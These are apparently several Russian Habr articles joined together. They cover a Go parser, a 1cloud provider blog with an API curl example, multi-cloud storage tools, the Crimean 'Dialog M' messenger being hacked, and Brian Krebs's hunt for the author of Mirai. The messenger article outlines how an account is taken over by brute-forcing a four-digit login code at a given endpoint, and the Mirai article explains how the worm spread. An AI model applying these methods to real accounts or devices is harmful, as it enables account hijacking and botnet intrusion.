С одной стороны лексические терминалы могут легко извлекаться из текста путём поиска символов, отделяющих слова друг от друга (пробел, запятая, и т.д.). С другой стороны существуют устойчивые словосочетания, содержащие в себе такие символы. Рассматриваясь в качестве неделимых лексических единиц они могут иметь другие значения атрибутов и даже другой смысл (что особенно важно для последующего семантического анализа). Поэтому сопоставление лексических терминалов производится следующим образом:
* Из текста извлекается терминал, ограниченный символом, разделяющим слова.
* В морфологической базе находятся все лексические терминалы, начинающиеся с извлечённого терминала.
* Из полученных лексических терминалов выбираются те, что соответствуют данному тексту.
#### Морфологическая база
Я использую морфологический словарь русского языка, скачанный с сайта [OpenCorpora](http://opencorpora.org). Для использования синтаксическим анализатором эти данные должны быть минимизированы и индексированы. Сначала я пробовал для этой цели использовать SQLite, но полученное решение имело неудовлетворительную производительность (даже после включения кэширования). Поэтому пришлось реализовывать специализированную морфологическую базу. Замеры показали примерно 9-кратное ускорение поиска и более чем 300-кратное ускорение начальной индексации.
Формат файла морфологической базы достаточно прямолинеен: заголовок + две большие части. Первая часть состоит из словоформ, разделённых символом '\0'. Второй частью является сортированный массив структур, содержащих 32-битное смещение текста соответствующей словоформы и упакованные в 32-бита значения её атрибутов. Для высокой скорости поиска обе части морфологической базы полностью загружаются в оперативную память.
Полученный код предоставляет следующий API:
```
func BuildMorph(txt_filename, morph_filename string) error
func InitMorph(morph_filename string) error
func FinalizeMorph()
func FindTerminals(prefix, separator string) []ParseMatch
```
Функция *FindTerminals* принимает дополнительный параметр разделителя, поскольку в случае устойчивого словосочетания он является его неотъемлемой частью, в противном же случае разделитель оказывается ненужным и должен быть отброшен.
#### Кэш разбора
Даже после ускорения поиска словоформ общая производительность разбора оставляла желать лучшего (разбор распространённых предложений длился несколько секунд). Поскольку структура разработанной грамматики предполагает многократные сопоставления текста одним и тем же нетерминалам (наличие множества похожих правил), то напрашивалось применение кэширования. Поэтому, прежде чем начинать разбор, функция *Parse* проверяет наличие такого (произведенного ранее) разбора в кэше.
Поскольку в основе кэша лежит хэш-таблица, то для поддержки параллельного доступа требуется защищающий мьютекс. Однако один глобальный мьютекс может стать узким местом, поэтому кэш разбивается на нужное число *банков*, каждый из которых состоит из хэш-таблицы и соответствующего защищающего мьютекста.
#### Использование анализатора
Для использования разработанного [анализатора](https://github.com/ababo/idiot) требуется:
* Скачать [морфологический словарь](http://ababo.github.io/files/2015-03/dict.opcorpora.txt.zip).
* Собрать на его основе морфологическую базу (*morph.bin*, см. *main.go*).
* Дополнять/изменять правила грамматики в файле *rules.yaml*.
* Быть любознательным и ловить кайф от исследований. | https://habr.com/ru/post/255711/ | null | ru | null |
# Клиент у руля, или почему провайдеру следует передать штурвал
Изначально наша [компания](https://1cloud.ru/blog/how-to-create-iaas-provider) задумывалась как «магазин облачных решений», но затем курс был взят на IaaS. Это было сделано потому, что того захотел рынок — такую потребность выразили пользователи. Почему провайдеру стоит прислушиваться к суждениям клиентов, поговорим далее.
[](https://habrahabr.ru/company/1cloud/blog/335246/)*/ Flickr / [Carla Wosniak](https://www.flickr.com/photos/carlawosniak/10821068866/) / [CC](https://creativecommons.org/licenses/by/2.0/)*
Находим ориентиры
-----------------
На одной из своих лекций Олег Тиньков [сказал](https://goo.gl/kRztj3), что стартапам в России нужно просто копировать готовые решения. Такой подход дает возможность быстро вывести продукт на рынок, показать его клиенту, определиться с целевой аудиторией. Он эффективен, потому что позволяет сразу проложить нужный курс и начать движение.
Подход справедлив и для визуального оформления. Чтобы поскорее отчалить от берега, мы [окинули](https://1cloud.ru/blog/how-to-create-iaas-provider) взором аналогичные проекты, вроде DigitalOcean, и очень быстро собрали первую версию сайта.
*Первый дизайн заглавной страницы*
Сайт есть, можно начать работу и посмотреть, имеется ли спрос на услуги. Так получилось, что в первую очередь сервисом заинтересовались руководители компаний, хотя мы ожидали увидеть более разнородную аудиторию. Юридические лица стали нашей ЦА — мы перевели фокус с B2C на B2B-сегмент и начали обдумывать пути для улучшения взаимодействия с предпринимателями.
Как только мы разобрались с целевой аудиторией, было решено окончательно отойти от копирования любых UI-решений и «выкатить» что-то свое. Мы переработали внешний вид сайта и избавились от проблемы поиска информации о наших услугах.
Так, старый «штурвал» был брошен за борт за ненадобностью, а его место занял новый:
*Один из этапов эволюции дизайна 1cloud.ru*
*Новый дизайн сайта [1cloud](https://1cloud.ru/)*
Улучшаем решение «на ходу»
--------------------------
Чтобы сервис был максимально полезен, важно давать клиенту определенную свободу, возможность самостоятельно «править кораблем». Например, мы внедрили калькулятор для заказа нового виртуального сервера, чтобы пользователь мог самостоятельно настроить параметры системы под свои нужды.
Правда, внедрять подобные решения нужно с осторожностью – здесь важно соблюсти баланс между свободой выбора и удобством работы. Слишком большое количество опций, ползунков, крутилок, от которых разбегаются глаза, может вызывать затруднения при работе с интерфейсом.
Поэтому для переработки UI мы выбрали необходимый минимум, который позволит клиенту определиться с потребностями и ожиданиями по расходам. Последующие изменения дизайна мы производили уже на основе аналитики и внутренних исследований по использованию «железа» за все время работы сервиса. На основании этих данных шло эволюционное развитие нашего калькулятора.
*Вариант дизайна калькулятора для заказа виртуального сервера*
*Новый [калькулятор](https://1cloud.ru/services/vps-vds) заказа виртуального сервера*
Доступные шаблоны удовлетворяют требованиям большинства клиентов, однако мы всегда готовы рассмотреть заявки и предложения в индивидуальном порядке. Все-таки клиент у руля.
Правим паруса по ветру
----------------------
Юзабилити — это здорово, но для хорошего сервиса важно кое-что еще. Например, возможность показать клиентам, что сервис — это не просто «черный ящик». Контролировать происходящее пользователям помогает панель управления, где они могут в реальном времени наблюдать за нагрузкой на серверы: CPU, RAM, СХД и каналы связи.
*Окно состояния серверов в панели управления*
Анализируя нагрузку на серверы, клиенты самостоятельно «спускают или ставят паруса», подключая или отключая мощности в пару кликов. Сделать это можно и с помощью [REST API](https://1cloud.ru/api). Чтобы запустить виртуальную машину достаточно отправить POST-запрос с желаемыми параметрами. Вот один из [вариантов](https://1cloud.ru/api/server/createserver):
```
curl -X POST -H 'Content-Type: application/json' -H 'Authorization: Bearer 75bb9805c018b1267b2cf599a38b95a3a811e2ef7ad9ca5ed838ea4c6bafaf50' "https://api.1cloud.ru/Server" -d '{"Name":"testAPI","CPU":1,"RAM":1024,"HDD":40,"imageID":1,"HDDType":"SSD","IsHighPerformance":true}'
```
При этом мы тоже видим, в каких пропорциях клиенты используют ресурсы и как распределяют средства. По нашим данным, затраты пользователей на RAM составляют 48,46%, на CPU — 19,28%, а на резервное копирование — 3,39%. Эта информация позволяет находить новые точки роста и улучшения. Например, она используется для проработки параметров тарификации.
С недавних пор клиенты могут [управлять](https://1cloud.ru/news/uvelichenie-skorosti-interneta) и скоростью интернета. Раньше внешний канал, выделяемый серверам, имел гарантированную пропускную способность в 10 Мбит/с. Однако её можно было увеличить при обращении в службу поддержки. Сейчас клиенты могут сами изменять скорость соединения в диапазоне от 10 до 100 Мбит/с через [панель управления](https://1cloud.ru/infrastructure/panel-upravleniya).
Мы развиваем сервис, чтобы предоставить пользователям больше возможностей. Например, была добавлена функция [копирования серверов](https://1cloud.ru/news/klonirovanie-servera) — создания серверов на основании старых без промежуточных шаблонов — и [внедрена](https://1cloud.ru/news/edo) система электронного документооборота. Способ доставки документации можно установить все там же — в панели управления.
Большому плаванию — большая флотилия
------------------------------------
Переплыть океан в одиночку сложно. Так же сложно, как и развивать крупный проект без взаимодействия с партнерами. Поэтому мы работаем со множеством частных и корпоративных клиентов: реселлерами, разработчиками приложений и организациями, которые занимаются продажей собственных услуг на мощностях 1cloud.
Развитие сторонних проектов с использованием решений 1cloud (например, API) позволяет оценивать предоставляемые нами услуги с разных ракурсов. Каждый из участников «флотилии» может предложить какие-либо изменения или решения. Это укрепляет взаимоотношения с заказчиками и всю систему в целом.
Исходя из собственного опыта разработки IaaS-провайдера 1cloud, мы можем сделать вывод, что не стоит бояться менять направление развития. Нужно прислушиваться к своим клиентам, давать им свободу, чтобы обеим сторонам было удобно. Например, если клиент понимает, что может управлять своей инфраструктурой самостоятельно, это снижает нагрузку на отдел технической поддержки. Улучшать сервис оказывается намного проще, когда в основе процесса лежит взаимное доверие — компании и клиентов.
P.S. Еще несколько материалов о разработке IaaS-провайдера 1cloud:
* [Как устроена служба технической поддержки 1cloud](https://1cloud.ru/blog/vidy-tehnicheskoj-podderzhki)
* [Личный опыт: Автоматизация работы с DNS-записями в хостинг-панели](https://1cloud.ru/blog/dns-automation)
* [Как выбрать направление для развития ИТ-проекта](https://1cloud.ru/blog/it-project-area-choice)
* [Как создать провайдера виртуальной инфраструктуры](https://1cloud.ru/blog/how-to-create-iaas-provider) | https://habr.com/ru/post/335246/ | null | ru | null |
# Все облака — в одном окошке
В наше время почти у каждого скопилось несколько гигабайт (или терабайт) резервных копий и личных документов. Всё это зачастую хранится в зашифрованном виде на нескольких накопителях и в нескольких облаках.
Создаваемые нами данные — это наше наследие, которое надолго переживёт нас. По идее, личная информация не должна быть никак привязана ни к какому конкретному облаку, провайдеру или компании. Хорошо бы иметь возможность свободной замены облачных сервисов в своём личном наборе. В идеале — составить общую «файловую систему», куда можно в любой момент добавить/удалить Google Drive, Яндекс.Диск, [YouTube Drive](https://habr.com/ru/company/first/blog/676282/) или другие бесплатные файлохостинги. Главное, чтобы данные были размазаны по всему пространству и оставались независимы от конкретного провайдера.
Но зачастую разные облака плохо совместимы друг с другом, ведь это конкурирующие экосистемы. Они не поддерживают единый API, синхронизацию и так далее. К счастью, есть сторонние инструменты для решения этой проблемы.
Давайте рассмотрим ниже некоторые полезные программы, которые помогают управлять архивом данных, распределённому по множеству устройств и облаков:
* [Файл-менеджер Spacedrive](#1)
* [Cryptomator](#1)
* [rsync.net](#1)
Файл-менеджер на распределённой файловой системе
------------------------------------------------
Файл-менеджер [Spacedrive](https://github.com/spacedriveapp/spacedrive) — это опенсорсный кросс-платформенный файл-менеджер на файловой системе VDFS, который ставит задачей объединить в едином интерфейсе файлы из разных сервисов и разных файловых систем, в том числе из разных облаков. Грубо говоря, объединить в одном окошке облачные сервисы, которые официально не умеют друг с другом взаимодействовать, не имеют общих API и др.
Разработка программы ещё не закончена, но обещают выпустить клиенты под Windows, Linux, MacOS, iOS, watchOS и Android. Можно записаться в [список ожидания](https://www.spacedrive.com/), чтобы вас первым оповестили о релизе.
Файл-менеджер будет выглядеть примерно таким образом:
Что такое VDFS
--------------
Отдельно нужно сказать пару слов о VDFS (virtual distributed filesystem) — виртуальной распределённой файловой системе, написанной на Rust. Это фундамент, на котором базируется Spacedrive.
VDFS предоставляет единый API для доступа к файлам на всех ваших устройствах (смартфоны, персональные компьютеры, серверы) и облачных дисках. То есть это единый интерфейс, который ведёт виртуальный индекс всех мест хранения файлов, а также синхронизирует БД между клиентами в режиме реального времени. Данная реализация использует архитектуру [CAS](https://en.wikipedia.org/wiki/Content-addressable_storage) (Content-addressable storage, контентно-адресуемое хранилище данных) для уникальной идентификации файлов, сохраняя логические пути файлов относительно мест хранения.
Первую реализацию VDFS можно найти в [статье Хаоюана Ли](https://www2.eecs.berkeley.edu/Pubs/TechRpts/2018/EECS-2018-29.pdf) из Калифорнийского университета в Беркли. Там предполагается использовать VDFS в облачных хранилищах, но ничто не помешает перенести концепцию в клиентский софт, что и делается в Spacedrive.
Spacedrive находится в активной разработке, а большинство функций или в статусе «экспериментальная», или ещё не реализованы, а только запланированы.
На данный момент реализовано следующее (в стадии тестирования):
* обнаружение файлов (сканирование всех устройств, дисков и облачных аккаунтов для создания каталога всех файлов с метаданными);
* генерация превью (автоматическое создание маленьких превью для изображений и видео);
* статистика (общий объём, размер индекса, свободное пространство и другое).
В планах на ближайшее время:
* файл-менеджер — просмотр онлайн- и офлайн-хранилищ, файлов с метаданными, базовые функции CRUD (файл-менеджер разрабатывается прямо сейчас, к моменту публикации статьи может быть готов);
* синхронизация в реальном времени (тоже в разработке прямо сейчас);
* фото- и видеоальбомы;
* поиск по файловой системе;
* теги для автоматизации рабочих процессов, массовых операций с группами файлов, организации фотоколлекций;
* расширения (интеграция сторонних сервисов и расширение функциональности Spacedrive).
В более отдалённых планах:
* интеграция облаков — Apple Photos, Google Drive, Dropbox, OneDrive, создание API для добавления других облаков, таких как Яндекс.Диск;
* зашифрованные хранилища, модуль поверх VeraCrypt;
* менеджер ключей;
* установка коэффициента избыточности для файлов, мониторинг состояния устройств и накопителей;
* таймлайн/версионность (просмотр файловой системы за любой момент времени в прошлом);
* кодер аудио- и видеофайлов на базе FFMPEG в разные форматы с поддержкой тегов;
* воркеры (распределение вычислений по нескольким своим устройствам во время кодирования или других ресурсоёмких вычислений);
* бесплатный хостинг Spacedrive Cloud на своём сервере (или платная подписка).
В общем, задача Spacedrive понятна: объединить все облака в едином интерфейсе, удобном для пользователя. Идея красивая.
По сути, это смена парадигмы. Не множество пользователей представляют собой ресурс для одной экосистемы, а наоборот — много облачных провайдеров становятся ресурсами для хостинга файлов отдельного пользователя. Это более правильная парадигма.
Шифрование файлов в своём облаке
--------------------------------
[Cryptomator](https://cryptomator.org/) — удобная программа для шифрования файлов, которые хранятся на облачном хостинге. В то время как Spacedrive только обещает реализовать модуль шифрования в своём файл-менеджере, здесь всё уже готово и работает.
Можно создать зашифрованное хранилище файлов всего в несколько щелчков мыши:
Хранилище открывается в файл-менеджере после введения пароля, его можно просматривать и добавлять файлы. А само хранилище легко скопировать на любое облако — это просто папка с `vault.cryptomator` и зашифрованными файлами в формате `*.c9r`.
Под Windows для более удобной работы рекомендуется скачать и установить сторонний драйвер [WinFsp](https://winfsp.dev/rel/) (Windows File System Proxy). Это своеобразный аналог FUSE для Unix, который упрощает работу сторонних файловых систем под Windows.
В качестве более простой альтернативы, которая работает из командной строки, можно рекомендовать [gocryptfs](https://github.com/rfjakob/gocryptfs) (Linux), [cppcryptfs](https://github.com/bailey27/cppcryptfs) (Windows) или [DroidFS](https://github.com/hardcore-sushi/DroidFS) (Android). Всё это оверлейные зашифрованные файловые системы, которые прозрачно работают поверх основной ФС, что очень удобно — со стороны они выглядят как обычные папки и обычные файлы, только со странными названиями и нечитаемым содержимым.
В целом, это более простая альтернатива команде [crypt](https://rclone.org/crypt/), которая поддерживается в `rclone`.
Копия облака в другом облаке
----------------------------
Как дома, так и в других местах, файлы с одного сервера дублируются на другом для надёжности, так и в интернете на каждое облако нужно второе, резервное. Это элементарная безопасность.
Некоторые даже бизнес-модель построили на этой идее. Например, сервис [rsync.net](https://rsync.net/) предлагает облачное хранилище и *удобный бэкап других облаков* с помощью стандартных linux-инструментов типа [borg](https://www.borgbackup.org/), [restic](https://restic.net/), [rclone](https://rclone.org/), [git-annex](https://git-annex.branchable.com/) и др.
По сути, *rsync.net* предоставляет клиенту пустую файловую систему UNIX и доступ к ней по SSH. Никаких обвесистых клиентов GUI или API, всё работает настолько просто, насколько просто выглядит. Это удалённая файловая система, доступная из локальной консоли. Дата-центр даже не использует [ни файрволов, ни маршрутизаторов](https://console.dev/qa/rsync-john-kozubik/), потому что в них «нет особой необходимости». Просто стоят серверы FreeBSD, набитые накопителями с файловой системой ZFS — одно огромное файлохранилище.
Вообще, серверы у них сконфигурированы довольно интересно: это в основном корпуса 4U типа JBOD (just a bunch of disks), куда втиснуто от 45 до 60 накопителей SSD в каждый. Массивы накопителей подключаются к управляющим хед-юнитам 2U, в которых установлено 16 SSD, в том числе два загрузочных и 14 для кэшей на чтение (L2ARC) и запись (SLOG). Специфика файловой системы ZFS такова, что требуется много оперативной памяти, поэтому хед-юниты поддерживают до 2 ТБ.
Такое удалённое файлохранилище легко интегрировать в любую файловую систему, примонтировав его как накопитель под Windows, macOS или Linux. Например, назначить [букву диска под Windows](https://www.rsync.net/resources/howto/windows_map.html).
Это хранилище специально для резервных копий, чтобы сбрасывать туда бэкапы с локальной системы, с продакшна или из облака. В последнем случае мы получаем копию одного облака в другом облаке. Тоже шаг к нашей цели — гибридной архитектуре из нескольких облаков, хотя шаг немного с другой стороны.
В свою очередь, [rclone](https://rclone.org/) — утилита командной строки, которая позволяет управлять файлами практически на любом облачном хостинге. Сейчас поддерживается [более 40 облачных провайдеров](https://rclone.org/#providers), включая хранилище объектов S3, хранилища Yandex Disk, Mail.ru Cloud, Microsoft OneDrive, Dropbox, Google Drive и другие.
В общем, `rclone` в облаке — это эквивалент локальным unix-командам rsync, cp, mv, mount, ls, ncdu, tree, rm и cat. Утилита также позволяет примонтировать облачное хранилище в виде локального диска под Windows, macOS, Linux или FreeBSD.
Децентрализованная архитектура на основе ячеек
----------------------------------------------
Итак, мы сформулировали парадигму «персонального хранилища», которое состоит из разных облаков, множества личных устройств и накопителей. Все файлы распределяются по носителям/облакам с указанной степенью избыточности, но доступны из единого «окна».
Как видим, постепенно появляются инструменты, которые поддерживают эту парадигму. В неё вписывается модель независимых «персональных подов» с личной информацией — концепция [SOLID](https://solid.mit.edu/) от Тима Бернерса-Ли.
Всё это может работать в децентрализованной системе, где независимые модули осуществляют коммуникацию друг с другом по открытым стандартам и протоколам, поддерживающим связь всех со всеми.
Такая система напоминает ещё одну интересную концепцию из области бизнеса — [децентрализованную архитектуру организации на основе ячеек](https://github.com/wso2/reference-architecture/blob/master/reference-architecture-cell-based.md), Cell-Based Architecture.
Это облачная инфраструктура для современных цифровых компаний, созданная по образцу Agile, микросервисов и многоклеточных организмов в биологии.
В современных компаниях новая архитектура призвана заменить многоуровневую или сегментированную структуру с отделами и подразделениями.
В принципе, это очень красивая концепция. Поскольку мы и сами — многоклеточные существа, то идея с относительно независимыми клетками в рамках единого организма уже доказала свою эффективность. MVP готов. Поэтому можно предположить, что и микросервисы в рамках одного приложения тоже будут отлично работать, и независимые ячейки в рамках организации, и независимые облачные хостинги в одном окошке. Почему нет?
А какие решения предпочитаете вы?
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/678818/ | null | ru | null |
# Мессенджер от госкомпании «Крымтехнологии» взломали за три минуты
После [сегодняшней блокировки Telegram](https://geektimes.ru/post/300005/) многие пользователи задаются вопросом, что делать дальше. Установки VPN и прокси-серверов в России [выросли в десятки раз](https://www.vedomosti.ru/technology/articles/2018/04/12/766567-blokirovka-telegram). Продавщицы в магазинах [помогают покупателям настроить «прокси в телеге»](https://twitter.com/chrrono/status/985800697210957825). По [мнению аналитиков](https://www.vedomosti.ru/technology/articles/2018/04/12/766567-blokirovka-telegram), более 50% пользователей Telegram в России поставят VPN или прокси-сервисы и продолжат пользоваться мессенджером.
Но отдельные чиновники не намерены мириться с тем, что российские граждане обходят установленные запреты. Представители Роскомнадзора [заявили](http://tass.ru/obschestvo/5121353), что Telegram представляет угрозу интересам РФ и жизням граждан. Руководитель этой организации Александр Жаров [пообещал принять меры](http://www.interfax.ru/russia/608682) в отношении различных инструментов для обхода блокировки мессенджера. Советник президента по интернету Герман Клименко сам прекратил пользоваться Telegram и [рекомендовал переходить на российский ICQ](http://www.interfax.ru/russia/607235).
В то же время один за другим появляются новые IM-сервисы, которые позиционируют себя как замену Telegram. Они намерены побороться за многомиллионную аудиторию заблокированного мессенджера.
Например, холдинг Mail.Ru Group [разместил](https://vc.ru/36281-mail-ru-group-kupila-bolshuyu-reklamu-messendzhera-tamtam-v-delovyh-gazetah-na-fone-suda-o-blokirovke-telegram) в газетах «Ведомости», «Коммерсантъ» и «Деловой Петербург» рекламу «мессенджера с каналами» под названием «ТамТам».
Есть и другие попытки «импортозамещения». Например, собственную разработку представило государственное унитарное предприятие [«Крымтехнологии»](https://krtech.ru/), которое называет себя «ведущим в Крыму разработчиком программного обеспечения, систем автоматизации предприятий бизнес сектора, государственных предприятий, систем электронного правительства субъектов Российской Федерации».
14 апреля компания «Крымтехнологии» [начала открытое тестирование мессенджера «Диалог М»](http://www.c-inform.info/news/id/64007), который позиционируется как замена заблокированному Telegram. Разработчики напрямую связали ранний запуск своего «быстрого и безопасного» сервиса с решением о блокировке Telegram. Один из разработчиков Игорь Мартыненко сказал, что «Диалог М» представлен в качестве «возможной альтернативой подобным приложениям иностранных компаний» и отметили: «В плане конференции он будет даже получше, чем Telegram».
«На тестирование представлен базовый функционал, позволяющий осуществлять обмен личными сообщениями и сообщениями в рабочих группах, а также отправлять файлы. Пока это только бета-версия. После решения Роскомнадзора заблокировать Telegram мы решили заранее выпустить в тестовую эксплуатацию свой мессенджер, чтобы получить обратную связь от пользователей. И чтобы показать им альтернативу и возможную замену популярных приложений российским продуктом, — сказал Мартыненко. — В ближайшем будущем он точно ничем не будет уступать существующим мессенджерам. Его никогда не забанят. В плане конференции он будет даже получше, чем Telegram, где не очень удобно сделано добавление, выход, делегирование прав в конференции. Мы планируем добавить и такой функционал, как органайзер – для организаций и отдельных пользователей. Предположим, жена пишет мужу список продуктов, которые необходимо купить. Из этого сообщения он может создать себе задачу в органайзере с напоминанием».
Первым делом вышли [браузерная версия](https://im.krtech.ru/) мессенджера и приложение для Android ([dialogm.apk](https://im.krtech.ru/update/dialogm.apk)).
К сожалению, браузерная версия крымского мессенджера оказалась далеко не так защищена, как предполагали разработчики. Пользователь TJ по имени Артём Леготин убедился, что любой аккаунт можно угнать за 3-4 минуты. На сайте TJ он опубликовал [пошаговую инструкцию](https://tjournal.ru/69162-ya-protestiroval-gosudarstvennyy-messendzher-iz-kryma-i-s-legkostyu-vzlomal-akkaunt), каким образом происходит угон аккаунта. Суть в том, что при авторизации в мессенджере нужно ввести четырёхзначный код, пришедший на указанный номер. Этот код проверяется по адресу `https://im.krtech.ru/auth/3556666666666/xxxx`, где можно быстро проверить все 10 000 возможных вариантов кода — и получить токен авторизации.
Аналогичную процедуру можно повторить с номером любого зарегистрированного пользователя.
Артём Леготин выразил надежду, что разработчики крымского мессенджера исправятся и более внимательно отнесутся к безопасности. Он подчеркнул, что для тестирования взломал аккаунт редактора TJ с его согласия, а взламывать чужие аккаунты незаконно.
> **Примечание:** При комментировании этого материала просим соблюдать правила Geektimes. Пожалуйста, воздержитесь от оскорблений и токсичного поведения. В комментариях работает постмодерация. | https://habr.com/ru/post/411539/ | null | ru | null |
# Брайан Кребс раскрыл личность автора червя Mirai
Червь и ботнет Mirai (яп. «будущее») в камерах, цифровых приставках (DVR) и других устройствах интернета вещей наделали немало шуму в сентябре-октябре прошлого года. Червь автоматически перебирал [стандартные комбинации логин-пароль](https://krebsonsecurity.com/wp-content/uploads/2016/10/IoTbadpass-Sheet1.csv) и сумел распространиться на сотни тысяч устройств (камеры безопасности, маршрутизаторы, цифровые телеприставки и DVR), с которых организовал несколько DDoS-атак. Мощность этих атак намного превышала возможности стандартных ботнетов из ПК, потому что обычные компьютеры гораздо сложнее инфицировать в таком количестве.
*Стандартные пары логина и пароля для некоторых устройств, которые использовал червь Mirai*
Рождение и смерть Mirai
=======================
Одной из первых жертв ботнета Mirai в сентябре прошлого года стал журналист Брайан Кребс, который специализируется на темах информационной безопасности и деанонимизации хакеров. Трафик на его провайдера в пике достиг 665 Гбит/с, что стало одной из самых мощных DDoS-атак в истории интернета (см. «[DDoS на 600 Гбит/с как демократизация цензуры](https://geektimes.ru/post/280852/)»). Брайану пришлось перевести сайт в офлайн, потому что компания Akamai вывела сайт из под DDoS-защиты, чтобы не подвергать риску других своих клиентов. Через несколько дней Брайан Кребс воспользовался услугами [Project Shield](https://jigsaw.google.com/projects/#project-shield) — благотворительного проекта компании Google, предназначенного специально для защиты журналистов от DDoS-атак. Очевидно, что после этого личность хакеров стала объектом пристального изучения для Брайана Кребса. Для него это стало принципиальным вопросом.
Эти события подтолкнули Брайана Кребса к философским размышлениям о сути цензуры в интернете. Он напоминает знаменитые слова предпринимателя и либертарианца Джона Гилмора о невозможности цензуры интернета. Гилмор говорил: «Сеть распознаёт цензуру как *повреждение* и обходит её». Но этот принцип действует только в случае «политической» цензуры, которую традиционно осуществляют правительства разных стран, ограничивая свободный доступ своих граждан к информации. В случае с DDoS-атакой мы видим другой пример — попытку «заткнуть рот» оппоненту. Здесь не участвует государство. Цензура реализуется скоординированными усилиями множества людей или ботов. В этом смысле можно сказать, что DDoS-атака представляет собой «демократический» вариант цензуры, когда большинство навязывает свою волю меньшинству и заставляет замолчать оппонента. Брайан Кребс считает, что в настоящее время наибольшую угрозу цензуры представляют действия опытных профессионалов. Подпольное хакерское сообщество незаметно превратилось в мощнейшую транснациональную организацию, в руках которого сконцентрировались огромные компьютерные ресурсы. Эти ресурсы в определённых условиях могут превратиться в кибероружие.
«Кибероружие» Mirai ещё не раз выстрелило.
В сентябре-октябре 2016 года ботнет использовался для атаки на французского хостинг-провайдера OVH и для [мощной DDoS-атаки на компанию Dyn](http://hub.dyn.com/static/hub.dyn.com/dyn-blog/dyn-statement-on-10-21-2016-ddos-attack.html), которая предоставляет сетевую инфраструктуру и обслуживание DNS для ключевых американских организаций. В этом случае поток мусорных запросов с десятков миллионов IP-адресов составлял около 1 Тбит/с. У пользователей по всему миру наблюдались проблемы с доступом к сайтам Twitter, Amazon, Tumblr, Reddit, Spotify и Netflix и другим. Фактически, ботнет Mirai временно «положил» небольшой сегмент американского интернета.
*Карта расположения скомпрометированных устройств, которые участвовали в DDoS-атаке. Иллюстрация: Incapsula*
В ноябре новый вариант Mirai [атаковал несколько моделей маршрутизаторов Zyxel и Speedport](https://securelist.com/blog/incidents/76791/new-wave-of-mirai-attacking-home-routers/), у пользователей немецкого интернет-провайдера Deutsche Telekom. Как показало расследование «Лаборатории Касперского», доработанный вариант червя в этом случае использовал новый способ распространения — через специализированный протокол TR-064, который используется провайдерами для удаленного управления пользовательскими устройствами. В том случае, если интерфейс управления (на порте 7547) доступен снаружи, появляется возможность либо загрузить и выполнить на устройстве произвольный код, либо сделать то же самое, но через стадию открытия доступа к традиционному веб-интерфейсу.
*Один из уязвимых маршрутизаторов в сети Deutsche Telekom*
Атаку на Dyn, возможно, провели уже другие хакеры, не те личные враги Брайана Кребса. Дело в том, что в сентябре-октябре между хакерами развернулась [настоящая война](https://habrahabr.ru/company/pt/blog/316648/) за контроль над ботнетом Mirai после того как в коде червя была обнаружена [уязвимость](http://arstechnica.com/security/2016/11/notorious-iot-botnets-weaponize-new-flaw-found-in-millions-of-home-routers/). Так что не совсем понятно, под чьим контролем он был в ноябре.
Как сообщалось в СМИ, после обнаружения уязвимости хакеры под никами BestBuy и Popopret захватили контроль над большей частью ботнета Mirai и дополнили его новыми устройствами. Таким образом, новый ботнет поглотил оригинальный Mirai и защитился от новых претендентов на захват ботов.
Уязвимость в черве Mirai нашли после того как в конце сентября пользователь форума Hackforums под ником Anna-senpai [выложил исходный код](https://habrahabr.ru/company/defconru/blog/311552/) составляющих ботнета Mirai (см. скриншот в начале статьи). Данное программное обеспечение непрерывно сканирует весь диапазон IP-адресов для поиска устройств со стандартными сочетаниями логина и пароля, по нахождению которых отправляет сообщение в командный центр, откуда осуществляется координация действий DDoS. Интересно, что в одном фрагменте исходного кода [есть текст на русском языке](https://defcon.ru/malware-analysis/3672/).
```
cnc/admin.go: this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
cnc/admin.go: this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
cnc/admin.go: this.conn.Write(append([]byte("\r\033[37;1mпроверив счета… \033[31m"), spinBuf[i % len(spinBuf)]))
```
Брайан Кребс, дважды пострадавший от Mirai, решил во что бы то ни было [деанонимизировать авторов этого червя](https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/). Расследование заняло несколько месяцев, но в итоге Брайну удалось установить настоящую личность Anna Senpai, а также личность по крайней мере одного его сообщника.
Расследование Брайана Кребса
============================
В результате расследования Брайан Кребс обнаружил, что Mirai не был каким-то экстраординарным червём, а всего лишь очередной инкарнацией червя, который заражал маршрутизаторы и устройства интернета вещей со стандартными логинами и паролями и стандартными уязвимостями. Таких червей и ботнетов на самом деле было много. Они принадлежат представителям прибыльной индустрии «стрессеров» — сервисов, которые осуществляют DDoS-атаки за деньги. Среди ботнетов для интернета вещей, которые появились до Mirai, можно назвать семейства Bashlite, Gafgyt, Qbot, Remaiten и Torlus. Все эти черви распространяются схожим способом, от одного заражённого устройства к другому.
Обычно владельцы ботнетов такого типа не «светились» на публике, но в 2014 году группа интернет-хулиганов под названием *lelddos* выступила публично, проведя крупную атаку, в результате которой ряд веб-сайтов ушёл в офлайн. Самой частой целью атак *lelddos* были серверы Minecraft. Владельцы таких серверов могут зарабатывать до $50 тыс. в месяц, так что это приемлемая цель для стрессера. Если сервер недоступен несколько дней, то многие игроки просто уйдут на другие серверы, а владелец лишится хорошей прибыли: здесь очень большая конкуренция. В июне 2014 года атаке с атакой *lelddos* пришлось иметь дело компании ProxyPipe, которая специализируется на защите Minecraft-серверов от DDoS, используя анти-DDoS-«крышу» Verisign. В квартальном отчёте 2014 года компания Verisign назвала ту атаку на 300 Гбит/с «крупнейшей в своей истории».
В середине 2015 года клиенты ProxyPipe попали под атаку с ботнета Qbot, который использовал устройства интернета вещей. Что характерно, непосредственно перед нападением клиентам угрожал некий 17-летний Кристофер Скулти (Christopher “CJ” Sculti, Jr., на фото), владелец и единственный сотрудник компании-конкурента Datawagon, которая тоже специализируется якобы на защите от DDoS-атак. Такой метод «крышевания» хорошо известен на территории бывшего СССР в 90-е годы. Или мы тебя защищаем, или ты падаешь под DDoS.
В свою очередь, Datawagon работала под прикрытием компании ProTraf Solutions, тоже провайдера DDoS-защиты.
